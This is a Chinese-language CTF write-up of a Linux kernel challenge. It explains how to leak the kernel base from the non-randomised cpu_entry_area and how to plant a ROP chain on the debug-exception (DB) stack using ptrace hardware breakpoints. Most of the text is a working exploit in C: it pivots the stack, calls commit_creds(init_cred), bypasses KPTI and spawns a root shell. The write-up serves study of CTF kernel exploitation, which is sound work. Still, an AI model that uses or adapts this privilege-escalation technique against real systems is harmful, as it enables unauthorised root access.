也算学习到了,这样对 DB_stack 的利用与 pt_regs 很相似。都是利用在用户态切换在内核态时,会保存用户态的上下文信息在内核栈中,所以我们就可以控制部分内核栈中的数据,以此为我们栈迁移做好准备。
启动脚本啥的都不用看了,基本都是 smap、smep、kaslr 和 kpti 都开启。然后直接看驱动模块吧。
驱动程序也非常简单,一次任意地址4字节数据泄漏和一次任意地址栈迁移的机会:

注意最后这里要看汇编代码:

这里直接将 rbx 的值赋给 rsp,然后 ret,而 rbx 直接来自于 rdx,也就是我们传入的第3个参数:

这中间并没有对 rbx 的值再做任何修改,可以自行查看。并且返回前把其他寄存器的值都清空了,所以 pt_regs 就打不了了,但是一般 pt_regs 也会添加一个偏移。
这里漏洞已经白给了,按照题目给了漏洞,我们应当就是先泄漏内核基地址,然后在内核空间布置好 ROP 链,最后直接栈迁移过去。
那么这里就有两个难点了:
1、如何泄漏内核基地址
2、在那里布置 ROP 链
最后选择的是 cpu_entry_area mapping 内核区域。

测试 poc.c:
- // poc.c
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #define DB_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
- pid_t pid;
- int status;
- char buf[4];
-
- void set_hbp(void *addr)
- {
- if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(0), addr) == -1)
- {
- printf("Failed to set dr_0\n");
- kill(pid, 9);
- exit(-1);
- }
- unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
- if (ptrace(PTRACE_POKEUSER, pid, DB_OFFSET(7), dr_7) == -1)
- {
- printf("Failed to set dr_7\n");
- kill(pid, 9);
- exit(-1);
- }
- }
-
- int main(int argc, char **argv, char **env)
- {
- pid = fork();
- if (!pid)
- {
- cpu_set_t cpu_set;
- CPU_ZERO(&cpu_set);
- CPU_SET(0, &cpu_set);
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
-
- ptrace(PTRACE_TRACEME, 0, NULL, NULL);
- raise(SIGSTOP);
- __asm__(
- "mov r15, 0x11111111;"
- "mov r14, 0x22222222;"
- "mov r13, 0x33333333;"
- "mov r12, 0x44444444;"
- "mov rbp, 0x55555555;"
- "mov rbx, 0x66666666;"
- "mov r11, 0x77777777;"
- "mov r10, 0x88888888;"
- "mov r9, 0x99999999;"
- "mov r8, 0xaaaaaaaa;"
- "mov rax, 0xbbbbbbbb;"
- "mov rcx, 0xcccccccc;"
- "mov rdx, 0xdddddddd;"
- "mov rsi, 0xeeeeeeee;"
- "mov rdi, 0xffffffff;"
- );
- buf[0] = 0;
- exit(1);
-
- }
- waitpid(pid, &status, 0);
- set_hbp(buf);
-
- ptrace(PTRACE_CONT, pid, NULL, NULL);
- waitpid(pid, &status, 0);
-
- ptrace(PTRACE_CONT, pid, NULL, NULL);
- waitpid(pid, &status, 0);
-
- return 0;
- }
在 linux 6.2 之前,该区域不参与随机化,并且在该区域存在内核地址,所以我们可以直接泄漏内核基地址:

并且通过下硬件断点在用户态触发的方式,可以将寄存器内容推送到与per cpu entry area固定偏移的DB stack上,所以我们可以在 DB stack 上布置好我们的 ROP 链,最后直接栈迁移过去即可:

exp如下:
- #ifndef _GNU_SOURCE
- #define _GNU_SOURCE
- #endif
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- #define DR_OFFSET(idx) ((void*)(&(((struct user*)0)->u_debugreg[idx])))
- size_t swapgs_kpti = 0xFFFFFFFF82000F01;
- size_t init_cred = 0xffffffff82a4cbf8;
- size_t commit_creds = 0xffffffff810bb5b0;
- size_t pop_rdi = 0xffffffff81002c9d; // pop rdi ; ret
-
- int fd;
- pid_t pid;
- int status;
- char buf[4];
- size_t kernel_offset;
-
- size_t leak(size_t addr) { return ioctl(fd, 0x5555, addr); }
- void set_rsp(size_t rsp) { ioctl(fd, 0x6666, rsp); }
-
- void err_exit(char *msg)
- {
- printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
- sleep(5);
- exit(EXIT_FAILURE);
- }
-
- void info(char *msg)
- {
- printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
- }
-
- void hexx(char *msg, size_t value)
- {
- printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
- }
-
- void bind_core(int core)
- {
- cpu_set_t cpu_set;
- CPU_ZERO(&cpu_set);
- CPU_SET(core, &cpu_set);
- sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
-
- printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
- }
-
- void set_hbp(void *addr)
- {
- if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(0), addr) == -1)
- {
- printf("Failed to set dr_0\n");
- kill(pid, 9);
- exit(-1);
- }
- unsigned long dr_7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
- if (ptrace(PTRACE_POKEUSER, pid, DR_OFFSET(7), dr_7) == -1)
- {
- printf("Failed to set dr_7\n");
- kill(pid, 9);
- exit(-1);
- }
- }
-
-
- int main(int argc, char **argv, char **env)
- {
- fd = open("/dev/seven", O_RDWR);
- if (fd < 0) err_exit("Open dev file");
- kernel_offset = (leak(0xfffffe0000000000+4)&0xffffffff) - 0x82008e00;
- hexx("kernel_offset", kernel_offset);
- swapgs_kpti += kernel_offset;
- init_cred += kernel_offset;
- commit_creds += kernel_offset;
- pop_rdi += kernel_offset;
-
- pid = fork();
- if (!pid)
- {
- bind_core(0);
- ptrace(PTRACE_TRACEME, 0, NULL, NULL);
- raise(SIGSTOP);
- __asm__ volatile(
- "mov rax, pop_rdi;"
- "mov rcx, init_cred;"
- "mov rdx, commit_creds;"
- "mov rsi, swapgs_kpti;"
- );
- buf[0] = 1;
- set_rsp(0xfffffe0000010fa8);
- hexx("UID", getuid());
- system("/bin/sh");
- exit(0);
- }
-
- waitpid(pid, &status, 0);
- set_hbp(buf);
-
- ptrace(PTRACE_CONT, pid, NULL, NULL);
- waitpid(pid, &status, 0);
-
- ptrace(PTRACE_CONT, pid, NULL, NULL);
- waitpid(pid, &status, 0);
- return 0;
- }
最后可以稳定提权:
